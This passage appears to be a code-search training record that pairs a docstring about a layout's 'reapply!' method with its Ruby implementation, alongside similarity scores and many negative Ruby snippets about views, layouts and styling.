key_clicked(key) }\n\t\t\t\t}\n\t\t\t)\n\t\t\n\t\t\t# Replace placeholder with actual Shell Tree View\n\t\t\tGuiUtils.replace_grid_widget({\n\t\t\t\t:grid => @form.gridLayout, \n\t\t\t\t:old_widget => @form.folderListPlaceholder,\n\t\t\t\t:new_widget => @shell_tree_view,\n\t\t\t\t:row => 1, :col => 0,\n\t\t\t\t:col_span => 3\n\t\t\t})\n\t\tend", "def create\n @view = View.new(params[:view])\n @view.ministry = @ministry\n\n respond_to do |format|\n if @view.save\n # Make this view the current view\n session[:view_id] = @view.id\n flash[:notice] = 'View was successfully created.'\n format.html { redirect_to edit_view_url(@view) }\n format.xml { head :created, :location => view_url(@view) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @view.errors.to_xml }\n end\n end\n end", "def create_viewport\n @viewport = Viewport.create(:main, 500)\n @viewport.extend(Viewport::WithToneAndColors)\n @viewport.shader = Shader.create(:map_shader)\n rc = @viewport.rect\n @viewport_sub = Viewport.new(rc.x, rc.y + rc.height - 48, rc.width, 48)\n end", "def initialize(view, icon_index=nil, v_index=nil)\n @view = view\n @icon_index = icon_index\n#~ @label = label\n @v_index = v_index\n end", "def initialize(view_context, node_name)\n @node_name = node_name\n super(view_context)\n binding.pry\n end", "def loadView\n if iphone_4_inch?\n views = NSBundle.mainBundle.loadNibNamed 'MainView', owner: self, options: nil\n else\n views = NSBundle.mainBundle.loadNibNamed 'MainViewShort', owner: self, options: nil\n end\n self.view = views.first\n end", "def create_view(view_name, definition, options={})\n SchemaMonkey::Middleware::Migration::CreateView.start(connection: self, view_name: view_name, definition: definition, options: options) do |env|\n definition = env.definition\n view_name = env.view_name\n options = env.options\n definition = definition.to_sql if definition.respond_to? :to_sql\n\n if options[:materialized] && options[:allow_replace]\n raise ArgumentError, 'allow_replace is not supported for materialized views'\n end\n\n if options[:force]\n drop_view(view_name, {if_exists: true}.merge(options.slice(:materialized)))\n end\n\n command = if options[:materialized]\n \"CREATE MATERIALIZED\"\n elsif options[:allow_replace]\n \"CREATE OR REPLACE\"\n else\n \"CREATE\"\n end\n\n execute \"#{command} VIEW #{quote_table_name(view_name)} AS #{definition}\"\n end\n end", "def initialize(params = {})\n @main_view = params[:main_view]\n end", "def initializer(component_name = nil, *traits, **options, &block)\n # #init_haml_helpers is required when utilizing #capture with HAML\n # (when outside of Rails)\n # https://www.rubydoc.info/github/haml/haml/Haml%2FHelpers:init_haml_helpers\n init_haml_helpers\n @component_name = component_name\n @class_name = component_name.to_s.camelize\n @traits = traits\n @options = options\n\n options[:body] = capture(&block) if block_given?\n options[:traits] = traits.present? ? traits : []\n\n # self.view_context = view_context\n self.component = ancestry_string.constantize.new(options, view_context)\n end", "def create_materialized_view(name, body = nil, force: false, **kwargs, &block)\n supports_materialized_view!\n\n drop_materialized_view(name) if force && table_exists?(name)\n\n execute build_create_materialized_view_query(name, body, **kwargs, &block)\n end", "def create\n @view = View.new(params[:view])\n\n respond_to do |format|\n if @view.save\n format.html { redirect_to @view, notice: 'View was successfully created.' }\n format.json { render json: @view, status: :created, location: @view }\n else\n format.html { render action: \"new\" }\n format.json { render json: @view.errors, status: :unprocessable_entity }\n end\n end\n end", "def method_missing(method, *args, &block)\n if @view.respond_to?(method)\n (class << self; self; end).class_eval do\n delegate method, to: :@view\n end\n self.send method, *args, &block\n else\n super\n end\n end", "def auto(layout_view=top_level_view, layout_subviews={}, &layout_block)\n raise \"gem install 'motion-layout'\" unless defined? Motion::Layout\n\n styled_subviews = layout_view.teacup_subviews.select { |v| v.stylename }\n styled_subviews.each do |view|\n if ! layout_subviews[view.stylename.to_s]\n layout_subviews[view.stylename.to_s] = view\n end\n end\n\n Motion::Layout.new do |layout|\n layout.view layout_view\n layout.subviews layout_subviews\n layout.instance_eval(&layout_block)\n end\n end", "def rendered_views=(_arg0); end", "def init(context={})\n\n app = context[:app]\n \n # View models\n ::Model::ViewModel.new(:content, 'content', ContentManagerSystem::Content, :view_template_contents,\n [::Model::ViewModelField.new(:_id, 'id', :string),\n ::Model::ViewModelField.new(:title, 'title', :string),\n ::Model::ViewModelField.new(:path, 'path', :string),\n ::Model::ViewModelField.new(:alias, 'alias', :string),\n ::Model::ViewModelField.new(:summary, 'summary', :string),\n ::Model::ViewModelField.new(:type, 'type', :string),\n ::Model::ViewModelField.new(:creation_date, 'creation_date', :date),\n ::Model::ViewModelField.new(:creation_user, 'creation_user', :string)])\n \n ::Model::ViewModel.new(:term, 'term', ContentManagerSystem::Term, :view_template_terms,\n [::Model::ViewModelField.new(:id, 'id', :serial),\n ::Model::ViewModelField.new(:description, 'description', :string)])\n\n ::Model::ViewModel.new(:profile, 'profile', Users::Profile, :view_template_profiles,[]) \n\n # View renders \n teaser_preprocessor = Proc.new do |data, context, render_options|\n data.map { |element| CMSRenders::Factory.get_render(element, context, 'teaser').render({}, [:ignore_complements, :ignore_blocks]) }\n end\n\n slider_preprocessor = Proc.new do |data, context, render_options|\n data.map { |element| CMSRenders::Factory.get_render(element, context, 'justphoto').render({}, [:ignore_complements, :ignore_blocks]) }\n end\n\n term_hierarchy_preprocessor = Proc.new do |data, context, render_options|\n separator = render_options['separator'] || \"&nbsp;&middot;&nbsp;\"\n data.map do |element| \n terms = []\n terms << \"<a href=\\\"#{render_options['prefix']}/#{element.id}\\\">\"\n terms << \"#{element.description}</a>\"\n while not element.parent.nil?\n element = element.parent\n terms << separator\n terms << \"<a href=\\\"#{render_options['prefix']}/#{element.id}\\\">#{element.description}</a>\"\n end\n render_result = \"<div class=\\\"term-hierarchy-container #{render_options['container_class']}\\\">\" << terms.reverse.join << \"</div>\"\n end\n \n end\n\n ::Model::ViewRender.new(:teaser, 'teaser', ::Model::ViewStyle::VIEW_STYLE_TEASER, teaser_preprocessor)\n ::Model::ViewRender.new(:thumbnail, 'thumbnail', Model::ViewStyle::VIEW_STYLE_THUMBNAIL)\n\n end", "def initializer(component_name = nil, *traits, **options, &block)\n # #init_haml_helpers is required when utilizing #capture with HAML\n # (when outside of Rails)\n # https://www.rubydoc.info/github/haml/haml/Haml%2FHelpers:init_haml_helpers\n init_haml_helpers\n @component_name = component_name\n @class_name = component_name.to_s.camelize\n @traits = traits\n @options = options\n options[:body] = capture(&block) if block_given?\n options[:traits] = traits.present? ? traits : []\n self.component = ancestry_string.constantize.new(options, view_context)\n end", "def copy_vassal_view(view)\n # Copy this view to a new one. Both views needs to point to the same\n # buffer.\n new_view = CSTE::View.new(\n view.buffer, view.init_col, view.init_line, view.cols, view.lines)\n\n # This container is the lord of those views.\n view.lord = self\n new_view.lord = self\n\n return new_view\n end", "def create_base_ui\n @base_ui = UI::GenericBase.new(@viewport, button_texts)\n end", "def view(name = \"\", viewpoint: :total, elements: :all, relationships: :for_elements)\n dia = __model.diagrams.find { |diagram| diagram.name == name }\n __model.remove_reference(dia) if dia\n __model.diagrams << View.new(__model, name, dia&.id, viewpoint, elements, relationships).render\n end", "def initialize(object, view_context: self.class.default_view_context)\n __setobj__(object)\n @view_context = view_context\n end", "def initialize(parent); end", "def build(*args)\n # create the container they ask for with these args\n @container = @container_class.new *args\n # tack on the layout they wanted\n @container.layout = layout if layout\n\n # go through all the children, add them on and tack on the callbacks\n @children.each {|child|\n if @contents[child]\n # if this component answers the each call then go through all\n component = @contents[child]\n each_or_one(component) {|c| @container.add(c) }\n\n configure_interactions_for child, component\n end\n }\n\n # yield to the caller so that they can configure more before\n # we make it visible and pack it\n yield @container if block_given?\n\n # even though swing doesn't do this, we do\n @container.pack if @container.respond_to? :pack\n @container.visible = true if @container.respond_to? :visible\n\n # and now they can do whatever they want to the container\n @container\n end", "def build_layout\n year = Time.now.year\n add_call('Notification des abonnements électroniques', ->() { notifier })\n add_call(\"Extension des abonnements gratuits et d'échange de l'année #{year - 1}\", ->() { freesubs(year - 1) })\n add_call(\"Extension des abonnements gratuits et d'échange de l'année #{year}\", ->() { freesubs(year) })\n add_call('Création d\\'un abonnement collectif', ->() { collective_manager })\n add_call('Exploitation des abonnements collectifs', ->() { collective_exploitation })\n add_call('Recherche des tiers par facture', ->() { billing_manager })\n add_call('(Pour développeur) Fichiers de requête', ->() { sql_files })\n @layout.add_stretch\n end" ]
[ "0.6988359", "0.66227734", "0.6380642", "0.6377121", "0.6356555", "0.6349092", "0.6332554", "0.62679535", "0.6258892", "0.62292624", "0.62101126", "0.61396545", "0.60869783", "0.6079702", "0.6079131", "0.6071809", "0.6048129", "0.5914804", "0.5883417", "0.5796154", "0.5788072", "0.5775228", "0.57570827", "0.574115", "0.57261455", "0.5719121", "0.5701032", "0.5691167", "0.5666079", "0.56576735", "0.5643305", "0.5640082", "0.5639572", "0.56089437", "0.5607463", "0.5578151", "0.55703586", "0.5543965", "0.55299306", "0.55199397", "0.55175114", "0.5508998", "0.54954964", "0.5491565", "0.54876447", "0.5478648", "0.5478648", "0.546847", "0.54672813", "0.5462879", "0.54239416", "0.5421017", "0.5416203", "0.5412823", "0.5411417", "0.5407586", "0.5391977", "0.5366883", "0.5362144", "0.5351847", "0.534332", "0.5326071", "0.5320284", "0.5312279", "0.5301325", "0.5285783", "0.5257529", "0.5255451", "0.52549946", "0.5251421", "0.52404255", "0.52398545", "0.5200864", "0.5196374", "0.5195884", "0.5194855", "0.5181654", "0.5173365", "0.51710343", "0.51704687", "0.51376176", "0.5135098", "0.51343954", "0.51260686", "0.512036", "0.5118992", "0.5115373", "0.5111047", "0.5110212", "0.51091343", "0.51085496", "0.51069653", "0.5103118", "0.5092996", "0.50923735", "0.5088697", "0.50866294", "0.50865453", "0.50850034", "0.5079507", "0.50677204" ]
0.0
-1
Calls the style method of all objects in the view hierarchy that are part of this layout. The views in a child layout are not styled, but those layouts will receive a `reapply!` message if no root is specified.
def reapply! root ||= self.view @layout_state = :reapply run_reapply_blocks @child_layouts.each do |child_layout| child_layout.reapply! end @layout_state = :initial return self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def layout()\n layout_children()\n end", "def style_and_context(element, element_id, &block)\n style_method = \"#{element_id}_style\"\n if parent_layout.respond_to?(style_method) || block_given?\n parent_layout.context(element) do\n if parent_layout.respond_to?(style_method)\n parent_layout.send(style_method)\n end\n\n if block_given?\n yield\n end\n end\n end\n end", "def stylesheet=(new_stylesheet)\n @stylesheet = new_stylesheet\n restyle!\n subviews.each{ |subview| subview.stylesheet = new_stylesheet }\n end", "def layout_children\n \n end", "def apply_to(obj)\n entries.each do |selector, style|\n obj.style.set(style) if selector[obj]\n end\n end", "def repaint_all_widgets\n $log.debug \" REPAINT ALL in FORM called \"\n @widgets.each do |w|\n next if w.visible == false\n next if w.class.to_s == \"Canis::MenuBar\"\n $log.debug \" ---- REPAINT ALL #{w.name} \"\n #w.repaint_required true\n w.repaint_all true\n w.repaint\n end\n $log.debug \" REPAINT ALL in FORM complete \"\n # place cursor on current_widget \n setpos\n end", "def style(*queries)\n # do not modify queries, it gets passed to `super`\n if queries[-1].is_a? Hash\n properties = queries[-1]\n else\n # empty style declarations are allowed, but accomplish nothing.\n return\n end\n\n if properties.include?(:when_contained_in)\n # okay NOW modify queries\n queries.pop\n queries.each do |stylename|\n style = Style.new\n style.stylename = stylename\n style.stylesheet = self\n style.merge!(properties)\n\n when_contained_in << [stylename, style]\n end\n else\n super\n end\n end", "def render_all(sx, sy, ws, hs, &block)\n render sx, sy, ws, hs do |r, l|\n yield r, l\n prect = apply_content_paddings(r, ws, hs)\n @children.each do |itm|\n itm.render_all(prect.x, prect.y, prect.w, prect.h, &block)\n end\n end\n end", "def apply_children\n \n end", "def RedrawAllViews(arg0 = nil)\n ret = _invoke(1610743947, [arg0], [VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def auto(layout_view=top_level_view, layout_subviews={}, &layout_block)\n raise \"gem install 'motion-layout'\" unless defined? Motion::Layout\n\n styled_subviews = layout_view.teacup_subviews.select { |v| v.stylename }\n styled_subviews.each do |view|\n if ! layout_subviews[view.stylename.to_s]\n layout_subviews[view.stylename.to_s] = view\n end\n end\n\n Motion::Layout.new do |layout|\n layout.view layout_view\n layout.subviews layout_subviews\n layout.instance_eval(&layout_block)\n end\n end", "def rmq_style_applied\n on_styled\n end", "def style_settings\n render layout: false\n end", "def viewsWithStylename name\n r = []\n subviews.each do |view|\n if view.stylename == name\n r.push name\n end\n r += view.viewsWithStylename name\n end\n r\n end", "def css *args\n if children.any?\n children.css(*args)\n else\n NodeSet.new(document)\n end\n end", "def touch_all\n touch\n _parents.each(&:touch)\n end", "def redraw\n\n # IMPORTANT: always stop the redraw thread before applying changes\n @view.stop_redraw\n\n # empty the top cell and recreate the instances to the game objects \n # so they appear at their position\n topcell.clear_insts\n @level.each_object { |o| o.instantiate( self ) }\n @view.select_cell_path( [@topcell], 0 )\n\n # force an update and redraw of the content\n @view.update_content\n RBA::Application.instance.main_window.redraw\n\n end", "def render_all_layouts(layouts, payload, info)\n renderer.layouts = layouts\n self.output = renderer.place_in_layouts(output, payload, info)\n ensure\n @renderer = nil # this will allow the modifications above to disappear\n end", "def update_layout_tree\n @theme = TemplateTheme.find(params[:id])\n op = params[:op]\n selected_page_layout_id = params[:layout_id]\n selected_section_id = params[:selected_section_id]\n selected_type = params[:selected_type]\n @selected_page_layout = @theme.page_layout.self_and_descendants.find(selected_page_layout_id)\n if op=='promote'\n @selected_page_layout.promote\n elsif op=='demote'\n @selected_page_layout.demote\n elsif op=='move_left'\n @selected_page_layout.move_left\n elsif op=='move_right' \n @selected_page_layout.move_right\n elsif op=='add_child' \n section = Spree::Section.roots.find(selected_section_id) \n #if selected_type=='Section' \n @theme.add_section(section,@selected_page_layout)\n #else\n # @selected_page_layout.add_layout_tree(selected_id) \n #end\n #@layout.reload \n elsif op=='del_self'\n @selected_page_layout.destroy unless @selected_page_layout.root?\n @selected_page_layout = @selected_page_layout.parent\n #FIXME update param_values in editor \n #@layout.reload\n end\n @theme.page_layout.reload #layout is changed\n render :partial=>\"layout_tree1\" \n end", "def update_layout_tree\n @theme = TemplateTheme.find(params[:id])\n op = params[:op]\n selected_page_layout_id = params[:layout_id]\n selected_section_id = params[:selected_section_id]\n selected_type = params[:selected_type]\n @selected_page_layout = @theme.page_layout.self_and_descendants.find(selected_page_layout_id)\n if op=='promote'\n @selected_page_layout.promote\n elsif op=='demote'\n @selected_page_layout.demote\n elsif op=='move_left'\n @selected_page_layout.move_left\n elsif op=='move_right' \n @selected_page_layout.move_right\n elsif op=='add_child' \n section = Spree::Section.roots.find(selected_section_id) \n #if selected_type=='Section' \n @theme.add_section(section,@selected_page_layout)\n #else\n # @selected_page_layout.add_layout_tree(selected_id) \n #end\n #@layout.reload \n elsif op=='del_self'\n @selected_page_layout.destroy unless @selected_page_layout.root?\n @selected_page_layout = @selected_page_layout.parent\n #FIXME update param_values in editor \n #@layout.reload\n end\n @theme.page_layout.reload #layout is changed\n render :partial=>\"layout_tree1\" \n end", "def method_missing(method_name, *arguments, &block)\n style_method = \"#{method_name}_style\"\n if respond_to?(style_method)\n render_with_style(method_name, arguments[0])\n else\n super\n end\n end", "def set_layout\n @layoutme = 1\n end", "def styles\n yield @styles if block_given?\n @styles\n end", "def plugin_styles\n @@plugin_callbacks.each { |block| block.call(@fragment, @opts) }\n end", "def styles; end", "def styles; end", "def styles; end", "def layout_style val = nil\n @layout_style = val if val\n @layout_style\n end", "def each(&block)\n\t\t# iterate and return self, or return an iterator\n\t\tif block\n\t\t\t@styles.each &block\n\t\t\treturn self\n\t\telse\n\t\t\treturn @styles.each\n\t\tend\n\tend", "def set(args, auto_compute=true)\n set_parent(args.delete(:parent)) if args && args[:parent]\n @style.set args\n self.legacy_rule = @style[:position]\n compute if auto_compute\n end", "def style(*queries)\n if queries[-1].is_a? Hash\n properties = queries.pop\n else\n # empty style declarations are allowed, but accomplish nothing.\n return\n end\n\n queries.each do |stylename|\n\n # reset the stylesheet_cache for this stylename\n @stylesheet_cache.delete(stylename) if @stylesheet_cache\n\n # merge into styles[stylename] (an instance of Teacup::Style). new\n # properties \"win\" over existing properties.\n Teacup::merge_defaults(properties, styles[stylename], styles[stylename])\n end\n end", "def root(element, element_id=nil, &block)\n if @view\n raise ContextConflictError.new(\"Already created the root view\")\n end\n unless @assign_root\n raise InvalidRootError.new(\"You should only create a 'root' view from inside the 'layout' method (use 'create' elsewhere)\")\n end\n @assign_root = false\n\n # this method can be called with just a symbol, to assign the root element_id\n if element.is_a?(Symbol)\n element_id = element\n # See note below about why we don't need to `apply(:default_root)`\n element = preset_root || default_root\n elsif preset_root && preset_root != element\n # You're trying to make two roots, one at initialization\n # and one in your layout itself.\n raise ContextConflictError.new(\"Already created the root view\")\n end\n\n @view = initialize_element(element, element_id)\n\n if block\n if @context\n raise ContextConflictError.new(\"Already in a context\")\n end\n end\n\n style_and_context(@view, element_id, &block)\n\n return @view\n end", "def render_style(&block)\n [ style.to_s, yield, parent_style ].join\n end", "def clear_styles\n `this.__native__.style.cssText=''`\n return self\n end", "def render_all_layouts(layouts, payload, info); end", "def apply_appearance(notification=nil)\n return unless run_block\n NSNotificationCenter.defaultCenter.removeObserver(self, name:UIApplicationDidFinishLaunchingNotification, object:nil)\n NSNotificationCenter.defaultCenter.removeObserver(self, name:TeacupAppearanceApplyNotification, object:nil)\n\n when_contained_in.each do |klass, properties|\n contained_in = properties.delete(:when_contained_in)\n contained_in = [contained_in] unless contained_in.is_a?(NSArray)\n # make a copy and add nil to the end\n contained_in += [nil]\n appearance = klass.send(:'appearanceWhenContainedIn:', *contained_in)\n Teacup.apply_hash appearance, properties.build, klass\n end\n styles.each do |klass, properties|\n appearance = klass.appearance\n Teacup.apply_hash appearance, properties.build, klass\n end\n end", "def finalize\n return unless @needs_finalize\n\n create_rounded_bg if corner_radius\n layout_params.setMargins(margin[:left],\n margin[:top],\n margin[:right],\n margin[:bottom]) if layout_params.respond_to?(:setMargins)\n @view.setLayoutParams(layout_params)\n\n @view.setPadding(padding[:left], padding[:top], padding[:right], padding[:bottom])\n end", "def set_styles\n self.has_styles = true\n self.twitter_style = true\n end", "def layout(sugar)\n # otherwise use standard layout for non moved residues?\n remove_layout(sugar)\n do_initial_layout(sugar)\n setup_scaling(sugar)\n seen_residues = do_chain_layout(sugar)\n seen_residues += do_stubs(sugar,seen_residues)\n do_basic_layout(sugar,seen_residues)\n do_box_layout(sugar)\n do_sibling_bunching(sugar)\n do_center_boxes_more(sugar)\n do_sibling_bunching(sugar)\n do_multi_residue_widening(sugar)\n class << sugar\n alias_method :uncondensed_box, :box\n def box\n box_block = lambda { |r|\n ! r.is_stub?\n }\n return uncondensed_box(&box_block)\n end\n end\n \n end", "def styles_for(*models)\n render :partial => \"common/inline_styles\", :locals => { :models => models }\n end", "def styles=(_arg0); end", "def get_styles &block\n response = self.search :styles => nil\n doc = Nokogiri::XML(response)\n styles = doc.xpath(Style.root_xpath).collect{|l| l.text.to_s }\n list Style, styles, {}, &block\n end", "def reapply(&block)\n raise ArgumentError.new('Block required') unless block\n raise InvalidDeferredError.new('reapply must be run inside of a context') unless @context\n\n if reapply?\n yield\n end\n\n block = block.weak!\n parent_layout.reapply_blocks << [@context, block]\n return self\n end", "def styles(styles)\n @styles.set(styles)\n yield(self) if block_given?\n self\n end", "def applyOn(widget)\n\t\trefreshOverAllStar\n\t\t@icones.refresh(@manager,@adventure,@adventure.overAllStarsHash)\n\t\tsuper(widget)\n\tend", "def setfillstyle(*)\n super\n end", "def all_widgets\n if self.current_layout\n return self.widgets + self.current_layout.widgets\n else \n return self.widgets\n end\n end", "def layouts=(_arg0); end", "def layouts=(_arg0); end", "def setfillintstyle(*)\n super\n end", "def post_process_styles_with_blank\n @styles.each do |name, args|\n return if args[:processors].blank?\n end\n post_process_styles_without_blank\n end", "def switch_theme(root_element, theme)\n old_map = @mapping\n new_map = map(theme)\n\n root_element.each_child do |e|\n old_classes = css_classes_for_map e.class.name, old_map\n new_classes = css_classes_for_map e.class.name, new_map\n update_element_css_classes(e, old_classes, new_classes)\n\n old_classes = css_classes_for_map e.class.superclass.name, old_map\n new_classes = css_classes_for_map e.class.superclass.name, new_map\n update_element_css_classes(e, old_classes, new_classes)\n end\n\n @mapping = new_map\n end", "def show\n @children = @style.children\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @style.to_xml }\n end\n end", "def styles\n @styles ||= DEFAULT_STYLES\n end", "def apply_styles\n return false unless styled_cells\n\n styled_cells.each do |cell|\n current_style = styles.style_index[cell.style]\n\n new_style = if current_style\n Axlsx.hash_deep_merge(current_style, cell.raw_style)\n else\n cell.raw_style\n end\n\n cell.style = styles.add_style(new_style)\n end\n\n self.styles_applied = true\n end", "def remove_styles(*args)\n args.each {|x| self.remove_style(x) }\n return self\n end", "def styles\n mentos(:get_all_styles)\n end", "def style\n end", "def all_styles(include_hidden = false)\n doc = Scraping.noko_doc(URI.join(BASE_URL, '/beerstyles/'))\n root = doc.at_css('div.container-fluid')\n\n categories = root.css('h3').map(&:text)\n style_node = root.css('.styleGroup')\n\n styles = style_node.flat_map.with_index do |list, i|\n list.css('a').map do |x|\n category = categories[i]\n Style.new(x['href'].split('/').last.to_i, name: x.text).tap do |s|\n s.category = category\n end\n end\n end\n if include_hidden\n styles + hidden_styles\n else\n styles\n end\n end", "def initialize_page_layout_for_plain_theme\n if section_root_id.present?\n root_section = Section.roots.find(section_root_id)\n new_page_layout_root = add_section( root_section )\n self.update_attributes(\n page_layout_root_id: new_page_layout_root.id,\n for_terminal: root_section.for_terminal )\n end\n end", "def styles(text = nil, &block)\n @styles_render = text || block if (text || block)\n end", "def draw\n @menu_background.draw\n @current_view.draw\n if @alert_view != nil\n @alert_view.draw\n end\n end", "def _run_touch_callbacks_from_root\n return if touch_callbacks_suppressed?\n _parent._run_touch_callbacks_from_root if _touchable_parent?\n run_callbacks(:touch)\n end", "def style\n self\n end", "def build(target_class=nil, rotation_orientation=nil, seen={})\n properties = Style.new\n properties.stylename = self.stylename\n properties.stylesheet = self.stylesheet\n\n delete_keys = []\n properties.update(self)\n orientation = nil\n\n # now we can merge extends, and imported_stylesheets. before merging,\n # these will go through the same process that we just finished on the\n # local style\n if stylesheet && stylesheet.is_a?(Teacup::Stylesheet)\n stylesheet.imported_stylesheets.reverse.each do |stylesheet|\n imported_properties = stylesheet.query(self.stylename, target_class, rotation_orientation, seen)\n delete_keys.each do |key|\n imported_properties.delete(key)\n end\n Teacup::merge_defaults! properties, imported_properties\n end\n\n if also_includes = self[:extends]\n also_includes = [also_includes] unless also_includes.is_a? Array\n\n # turn style names into Hashes by querying them on the stylesheet\n # (this does not pass `seen`, because this is a new query)\n also_includes.each do |also_include|\n extended_properties = stylesheet.query(also_include, target_class, rotation_orientation)\n delete_keys.each do |key|\n extended_properties.delete(key)\n end\n Teacup::merge_defaults! properties, extended_properties\n end\n end\n properties.delete(:extends)\n\n # if we know the class of the target_class, we can apply styles via class\n # inheritance. We do not pass `target_class` in this case.\n if target_class\n unless target_class.is_a?(Class)\n target_class = target_class.class\n end\n\n target_class.ancestors.each do |ancestor|\n extended_properties = stylesheet.query(ancestor, nil, rotation_orientation)\n Teacup::merge_defaults!(properties, extended_properties)\n end\n end\n end\n\n return properties\n end", "def refresh\n @window.resize(height, width)\n @window.move(top, left)\n @window.clear\n @window.bkgd(1) # even background hack\n buffer_content if @content.is_a?(Proc)\n print_buffer\n draw_border\n @window.noutrefresh\n visible_children.each(&:refresh)\n end", "def clear_css\n self\n end", "def viewDidLoad\n if self.class.layout_definition\n name, properties, block = self.class.layout_definition\n layout(view, name, properties, &block)\n end\n\n layoutDidLoad\n end", "def layout\n yield(monitoring_layout)\n monitoring_layout\n end", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def set_stall_layout\n return false if request.xhr?\n return Stall.config.default_layout if Stall.config.default_layout\n\n parent_controller = self.class.ancestors.find do |ancestor|\n !ancestor.name.to_s.match(/^Stall::/) && Class === ancestor\n end\n\n parent_controller._layout ||= 'application'\n end", "def set_view_paths\n node = @node\n\n unless node\n node = current_site\n node.layout_variant = 'default'\n end\n\n @layout_configuration = node.own_or_inherited_layout_configuration\n @layout = node.own_or_inherited_layout\n @layout_variant = node.own_or_inherited_layout_variant\n parent = @layout.parent\n\n prepend_view_path(\"#{parent.path}/views\") if parent.present?\n prepend_view_path(\"#{@layout.path}/views\")\n\n if @layout_variant && @layout_variant[:id] != 'default'\n prepend_view_path(\"#{parent.path}/#{@layout_variant[:id]}/views\") if parent.present?\n prepend_view_path(\"#{@layout.path}/#{@layout_variant[:id]}/views\")\n end\n end", "def _layout(*_arg0); end", "def renderings_for_grid(grid)\n rs = renderings.for_grid(grid)\n if rs.empty? && grid.inherit_renderings? && !root?\n parent.renderings_for_grid(grid)\n else\n rs\n end\n end", "def build_view\n # Only in the 'layout' method will we allow default container to be\n # created automatically (when 'add' is called)\n @assign_root = true\n prev_should_run = @should_run_deferred\n @should_run_deferred = true\n layout\n unless @view\n if @assign_root\n create_default_root_context\n @view = @context\n else\n NSLog('Warning! No root view was set in TreeLayout#layout. Did you mean to call `root`?')\n end\n end\n run_deferred(@view)\n @should_run_deferred = prev_should_run\n @assign_root = false\n # context can be set via the 'create_default_root_context' method, which\n # may be outside a 'context' block, so make sure to restore context to\n # it's previous value\n @context = nil\n\n if @preset_root\n @view = WeakRef.new(@view)\n @preset_root = nil\n end\n\n @view\n end", "def style(new_styles = {})\n @style.merge! new_styles\n end", "def style\n Style.new(self)\n end", "def postload\n if @current_layout && @current_layout.length > 0\n @content_for_layout = @body\n @body = \"\"\n render_rhtml(@current_layout)\n end\n end", "def on(*args, &block)\n\t\t\t@child_num+=1\n\t\t\tr = Layer.new(@stylesheet,\n\t\t\t\t\t:id => \"#{@kv[:id]}__#{@child_num}\".to_sym,\n\t\t\t\t\t:kv => @kv.dup, :cascades => @cascades.dup)\n\n\t\t\t# Set zoom level\n\t\t\tif args[0].is_a?(Range) || args[0].is_a?(Integer)\n\t\t\t\tr.kv[:zoom] = args.shift\n\t\t\tend\n\n\t\t\t# Set condition\n\t\t\tsub_cond = nil\n\t\t\tif args.empty?\n\t\t\t\tsub_cond = @condition\t\t\t\t\t\t# just inherit parent layer's condition\n\t\t\telse\n\t\t\t\tsub_cond = (args.length==1) ? args[0] : Condition.new.from_list(:any,args)\n\t\t\t\tsub_cond = nilsafe_merge(sub_cond, @condition)\n\t\t\tend\n\t\t\tr._set_filter(nilsafe_merge(sub_cond, @uncascaded))\n\t\t\tr.instance_eval(&block)\n\t\t\t@stylesheet._add_layer(r)\n\n\t\t\t# Create cascaded layers\n\t\t\tchild_chr='a'\n\t\t\t@cascades.each do |c|\n\t\t\t\tc_cond, c_kv = c\n\t\t\t\tl = Layer.new(@stylesheet, :id=>\"#{r.kv[:id]}__#{child_chr}\", :kv=>r.kv.dup)\n\t\t\t\tl._set_filter(nilsafe_merge(sub_cond, c_cond))\n\t\t\t\tl.kv.merge!(c_kv)\n\t\t\t\t@stylesheet._add_layer(l)\n\t\t\t\tchild_chr.next!\n\t\t\tend\n\t\tend", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def styles\n return if @styles.empty?\n @styles.uniq.sort\n end", "def call\n\t\tself.apply_overrides\n\t\tyield\n\tensure\n\t\tself.restore_overridden_settings\n\tend", "def call\n\t\tself.apply_overrides\n\t\tyield\n\tensure\n\t\tself.restore_overridden_settings\n\tend", "def styles\n @styles ||= Element::Styles.new(self)\n end", "def refresh()\n # Filling the parent that is at the root of the screen is apparently broken :/.\n @holder.set_height(@parent.get_height_fit - @holder.get_y)\n set_height(@holder.get_height - get_y)\n end", "def model_styles(args)\n options = set_model_styles_defaults(args)\n set_common_options(options)\n set_model_styles_order_by_clause(options)\n \n if options[:b_return_list]\n \n # get list of all styles\n obj_list = Style.all.reorder(options[:reorder_clause])\n end\n \n return model_make_results(options, obj_list, nil) \n end", "def deep_refresh\n recalc_height\n update_placement\n create_contents\n refresh\n end", "def layout(method = nil)\n @layout = method || @layout\n end", "def children\n Sass::Util.abstract(self)\n end", "def style; end", "def style; end", "def style; end", "def all_views(element_id)\n element = all(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def refresh_views\n database.views.each do |name, view|\n materialize(view)\n end\n end", "def _render_layout_for( res )\n return unless res.layout\n lyt = Resources.layouts.find :filename => res.layout\n return if lyt.nil?\n\n _track_rendering(lyt.path) {\n @content = Filters.process(\n self, lyt, ::Webby::Resources::File.read(lyt.path))\n _render_layout_for(lyt)\n }\n end", "def apply\n SpreeTheme.site_class.current.apply_theme @template_theme \n respond_with(@template_theme) \n end", "def initWithStyle(style, reuseIdentifier: identifier)\n super.tap do\n selectionStyle = UITableViewCellSelectionStyleNone\n\n self.backgroundView = TotaliSmallView.alloc.initWithFrame(self.frame)\n self.selectedBackgroundView = TotaliSmallView.alloc.initWithFrame(self.frame)\n\n self.contentView.stylesheet = Teacup::Stylesheet[:appunto_style]\n layout(self.contentView, :content_view) do\n @telefono_label = subview(UILabel, :telefono)\n @importo_label = subview(UILabel, :importo)\n @copie_label = subview(UILabel, :copie)\n end\n end\n end", "def style!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n\n type = STYLE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 359:8: 'style'\n match( \"style\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n end", "def styles\n @document.styles\n end", "def render_all\n render(self, reveal: false)\n end" ]
